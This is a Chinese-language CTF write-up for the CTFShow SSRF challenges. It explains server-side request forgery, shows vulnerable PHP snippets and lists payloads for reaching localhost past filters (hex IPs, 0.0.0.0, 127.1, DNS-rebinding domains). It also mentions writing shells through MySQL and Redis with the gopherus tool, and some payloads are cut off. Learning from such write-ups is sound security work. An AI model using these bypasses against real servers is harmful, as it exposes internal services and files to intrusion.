CTFShow SSRF
SSRF简介
服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。 (正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF危害
1、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
2、攻击运行在内网或本地的应用程序(比如溢出)
3、对内网 WEB 应用进行指纹识别,通过访问默认文件实现
4、攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
5、利用 file 协议读取本地文件等
可能出现的场景
有调用外部资源的参数都有可能存在SSRF漏洞
1、能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
2、从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
3、数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
4、Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
5、文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
简单的题就直接过 payload
url=http://127.0.0.1/flag.php
web352
多了过滤,很简单,不能出现localhost和127.0.  绕过方法有很多种,比如: 进制绕过 url=http://0x7F000001/flag.php 0.0.0.0绕过 url=http://0.0.0.0/flag.php 句号绕过 url=http://127。0.0.1/flag.php 还有很多 0 ,127.1 ,127.0.1 ,127.0000.0000.1 还可以DNS重绑定
web354
不能出现1和0,可以用sudo.cc,他会被解析成127.0.0.1
url=http://sudo.cc/flag.php
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
要求参数是 http://ctf. show 这样的形式的,ctf.开头,show结尾 payload
url=http:
@ 前面的ctf会被当做用户
hosts 还是127.0.0.1
当然后面的show也可以注释掉
web359(打无密码的mysql)
介绍一个SSRF的万能工具gopherus 下载地址 工具需要的环境是python2 returl就是触发SSRF的地方了,这里直接写shell 
  需要把_后面的内容再进行一次URL编码  
web360(打redis)
 默认是在网站根目录下的shell.php,同样还是_后面的内容再进行一次URL编码 
阻碍SSRF漏洞利用
1、服务器开启 OpenSSL 无法进行交互利用
2、服务端需要鉴权(Cookies & User:Pass)不能完美利用
限制请求的端口为 http 常用的端口,比如,80,443,8080,8090。
3、禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于 file:
4、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
更多SSRF的攻击手段可以看看国光师傅的文章
https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-6 手把手带你用 SSRF 打穿内网
|